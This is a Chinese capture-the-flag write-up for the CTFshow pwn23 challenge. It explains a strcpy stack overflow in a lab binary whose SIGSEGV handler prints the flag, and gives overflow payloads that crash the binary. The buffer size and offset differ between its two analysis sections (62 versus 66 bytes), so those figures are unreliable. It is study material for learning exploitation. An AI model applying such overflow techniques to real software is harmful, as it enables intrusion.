[ pwn 学习 ] CTFshow-pwn23
2026-08-22 20:36:38

pwn23 SIGSEGV 信号劫持——strcpy 栈溢出触发 Crash to Flag

  1. 程序启动后,从/ctfshow_flag文件里把 flag 读到内存里存着
  2. 程序跟操作系统说:万一我等下崩溃了,你帮我把 flag 打印出来
  3. 程序把你输入的内容复制到一块内存区域。但是复制的时候不检查大小——你写多长它就复制多长
  4. 那块内存区域的旁边,存着程序接下来该往哪执行的关键信息。
  5. 你写的足够长,就会把那块关键信息也覆盖掉。
  6. 程序不知道该往哪执行,就崩溃了。
  7. 操作系统按照之前的约定,把 flag 打印出来

也就是说。你传入一个超长的东西把程序撑爆,他崩溃就按照之前说的把 flag 吐出来了。

pwn23

1. 基础信息

查看二进制文件安全防护

32 位程序,No canary found——栈上没有金丝雀,溢出不会被检测到。

这是本题能做的前提。

2. 核心思路

程序先把 flag 读到内存,然后跟你说”万一我等下崩了,你帮我把 flag 打印出来”——你只需要传个超长字符串把它撑崩,flag 自动出来。

3. 逆向分析

反编译共两个关键函数:mainsigsegv_handlerctfshow

3.1 main() —— 三步走

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned int main(int argc, char *argv[])
{
FILE *fp;

// ① 把 flag 读进全局变量
fp = fopen("/ctfshow_flag", "r");//打开存着flag的文件
fgets(&flag, 64, fp);//把flag内容读到变量flag里

// ② 注册信号处理:崩了就执行 sigsegv_handler
signal(11, sigsegv_handler); // 11 = SIGSEGV(段错误)

// ③ 把你的命令行参数传给漏洞函数
if (argc > 1)
ctfshow(argv[1]); // argv[1] 就是你的输入
return 0;
}

流程:flag 进内存 → 注册”崩溃回调” → 调用漏洞函数

3.2 sigsegv_handler() —— 崩溃就给你 flag

1
2
3
4
5
6
void sigsegv_handler(void)
{
fprintf(stderr, "%s\n", &flag); // 直接把 flag 打印出来
fflush(stderr);
exit(1);
}

**不需要弹 shell,不需要跳后门。崩了就行。 **

3.3 ctfshow() —— 漏洞函数

1
2
3
4
5
char *ctfshow(char *a0)
{
char v0[62]; // [bp-0x3E],栈上 62 字节缓冲区
return strcpy(v0, a0); // 把输入复制到 v0,不检查长度!
}
漏洞 说明
char v0[62] 缓冲区只有 62 字节 太小了
strcpy(v0, a0) 不检查长度 输入多长就复制多长

4. 为什么 strcpy 危险

1
2
3
4
5
6
7
8
strcpy 的工作方式:

从 src 第一个字节开始,一个一个往 dest 写
遇到 \x00(字符串结束符)才停
完全不管 dest 有多大

正常情况:输入 "hello" → 复制 6 字节(5+结束符)→ 安全
攻击情况:输入 100个'A' → 复制 100 字节 → 溢出 38 字节

五、栈帧布局

1
2
3
4
5
6
7
偏移         内容             大小
──── ────── ────
0x00 v0[0]...v0[61] 62B ← 你的输入从这里开始
──── ────── ────
0x3E 旧 ebp 4B ← ebp 指向这里
──── ────── ────
0x42 返回地址 4B ← ★ 覆盖这里
输入长度 覆盖范围 结果
≤ 62 字节 没溢出 正常返回,无事发生
63~66 字节 覆盖到 EBP 返回地址还在,不一定崩
≥ 67 字节 覆盖返回地址 崩 → flag 打印出来!

六、攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
./pwn23 $(python -c "print('A'*100)")


argv[1] = "AAA...AAA" (100个A,0x41)


ctfshow(argv[1])
└→ strcpy(v0, "AAA...AAA") ← 无脑复制


v0[0~61] 填满 → 旧 ebp = 0x41414141 → 返回地址 = 0x41414141


函数返回,EIP = 0x41414141


CPU 访问非法地址 → SIGSEGV(信号 11)


sigsegv_handler 执行 → fprintf(stderr, "%s\n", &flag)


🏁 Flag 到手!

一句话:不需要精确跳转,非法地址 = 必定崩溃 = 稳定触发 flag。

七、实战

1
2
3
4
5
ssh ctfshow@题目地址 -p 题目端口
# 密码: 123456

./pwn23 $(python3 -c "print('A'*100)")
# flag 直接出现在输出里

九、总结

考点 说明
strcpy
危险
不检查长度,遇到 \0
才停
signal
信号机制
SIGSEGV 被捕获后执行处理函数
Canary 没开才能溢出到返回地址
崩溃利用 不需要精确跳转,崩了就是胜利

核心:flag 已经被读到内存里了,signal 帮你配好了”崩了就打印”的回调。你唯一要做的就是——搞崩它。

4.1 变量定义 1

1
2
char dest[58];       // 虽然源码写 58,编译器实际分配 0x42 = 66 字节
strcpy(dest, src); // 把 src "倒进" dest ← 杯子只有 66,来多少倒多少!

strcpy 的行为:从 src 第一个字符开始一个字节一个字节往 dest 写,遇到 \0 才停。只要 src 超过 66 字节且中间没有 \0,多出来的数据就会覆盖栈上后面的区域。

4.2 栈帧布局(32 位)

内存区域 大小 偏移 说明
dest
缓冲区
66 字节(0x42) [bp-0x42]
~ [bp-0x1]
局部变量空间
Saved EBP 4 字节 [bp+0x0]
~ [bp+0x3]
备份的栈基址
Return Address 4 字节 [bp+0x4]
~ [bp+0x7]
函数返回后 EIP 跳到哪里

4.3 溢出过程

1
2
3
4
5
strcpy 从低地址往高地址写:

第 1 ~ 66 字节 → 填满 dest 缓冲区
第 67 ~ 70 字节 → 覆盖 Saved EBP(变成 0x41414141)
第 71 ~ 74 字节 → 覆盖 Return Address(变成 0x41414141) ← 攻击目标

只需 71 个字节就能碰到返回地址。 推荐用 100 字节,稳稳当当。


5. 攻击思路 —— 让它崩

1
2
3
4
5
6
7
8
9
10
11
12
13
传参 100 个 'A'(0x41)

strcpy 无脑拷贝 → 填满缓冲区 → 覆盖 EBP → 覆盖返回地址

ctfshow() 执行 ret → EIP = 0x41414141

CPU 访问 0x41414141 → 非法地址,MMU 报错

内核发送 SIGSEGV(信号 11)

signal(11, sigsegv_handler) 捕获 → 执行处理函数

fprintf(stderr, "%s\n", &flag) → 🏁 Flag 输出

一句话:不需要精确跳转,越是非法的地址,越能稳定触发 SIGSEGV。


6. 实战操作

SSH 连接后直接执行:

1
./pwn23 $(python -c "print('A'*100)")

本地测试:

1
2
3
echo "ctfshow{test_flag}" > /ctfshow_flag
./pwn23 $(python -c "print('A'*100)")
# 输出 → ctfshow{test_flag}

构造 payload 的多种方式

方式 命令
Python 2 ./pwn23 $(python -c "print('A'*100)")
Python 3 ./pwn23 $(python3 -c "print('A'*100)")
Perl ./pwn23 $(perl -e 'print "A"x100')
纯 bash ./pwn23 $(printf 'A%.0s' {1..100})

最少需要多少字节

输入长度 覆盖范围 结果
≤ 66 字节 只填满缓冲区 ❌ 正常退出
67~70 字节 覆盖到 EBP ❌ 返回地址完好
≥ 71 字节 覆盖到返回地址 ** 崩溃 → flag**

7. 更多可利用的触发方式

Payload 效果
$(python -c "print('A'*100)") 覆盖返回地址为 0x41414141,稳定崩
$(python -c "print('B'*100)") 覆盖为 0x42424242,一样崩
$(python -c "print('\x00'*100)") 无效——\x00
就是 \0
,strcpy 遇它就停,根本不溢出
$(python -c "print('A'*71)") 最小 payload,刚好够到返回地址
不传参数 程序直接 return 0
,不崩不输出

8. 此类漏洞思路总结

搜索危险函数

在 IDA 的 Import / String 窗口中找这些函数名:

函数 为什么危险
gets() 读取输入不限制长度,必溢出
strcpy() 复制字符串不检查长度(本题)
strcat() 拼接字符串不检查长度
read() 第三个参数大于缓冲区大小就溢出
scanf("%s", ...) 不限制输入长度
sprintf() 格式化到缓冲区不检查长度

比较缓冲区大小 vs 实际能写入的大小

找到缓冲区定义,再看 strcpy / read 第三个参数。写入量 > 缓冲区大小 → 溢出。

看溢出后数据被用来做什么 → 确定漏洞类型

场景 漏洞类型
覆盖栈上局部变量 改变程序逻辑
覆盖返回地址(非法值)→ 崩溃 → 信号处理 Crash to Flag(本题)
覆盖返回地址(精确值)→ 跳转到后门 栈溢出 → 控制流劫持
覆盖返回地址 + ROP 链 栈溢出 → ROP
system()
参数可控
命令注入

构造 payload

  • 先算偏移:缓冲区大小 + 4(EBP) = 到返回地址的距离
  • 本题只需覆盖成任意非法地址,不需要精确值
  • 注意坏字符:\x00\0)会让 strcpy 提前截断

信号处理类题目的特征

特征 本题体现
代码里有 signal() signal(11, sigsegv_handler)
处理函数里有 flag 操作 fprintf(stderr, "%s\n", &flag)
存在溢出漏洞 strcpy
无长度限制
栈保护关闭 No canary found

四个特征凑齐 → Crash to Flag,无脑填超长字符串即可。


9. 信号速查表

编号 信号名 触发条件
11 SIGSEGV 非法内存访问(本题触发)
4 SIGILL 非法指令
8 SIGFPE 算术异常(除零等)
6 SIGABRT abort()
调用
13 SIGPIPE 向已关闭的管道写数据
14 SIGALRM alarm()
超时

10. strcpy vs 安全替代

函数 行为 安全?
strcpy(d, s) 无脑复制,遇 \0
❌ 永远别用
strncpy(d, s, n) 最多复制 n 个字符 ⚠️ n 设对才安全
strlcpy(d, s, n) 最多 n-1 个,保证 \0
收尾

记住:CTF 里看到 strcpy / gets 且 Canary 没开 → 八成是溢出,先算


相关笔记

栈溢出系列

  • pwn0strcpy 溢出原理(前置基础)
  • pwn24 — NX 禁用 → shellcode 直接执行
  • pwn25 ret2libc 栈溢出利用 (NX 绕过) — NX 开启 → ret2libc

信号机制

  • (暂无其他信号处理相关题目)

前置工具

  • pwn1checksec 查看 Canary / NX / PIE
上一页
2026-08-22 20:36:38
下一页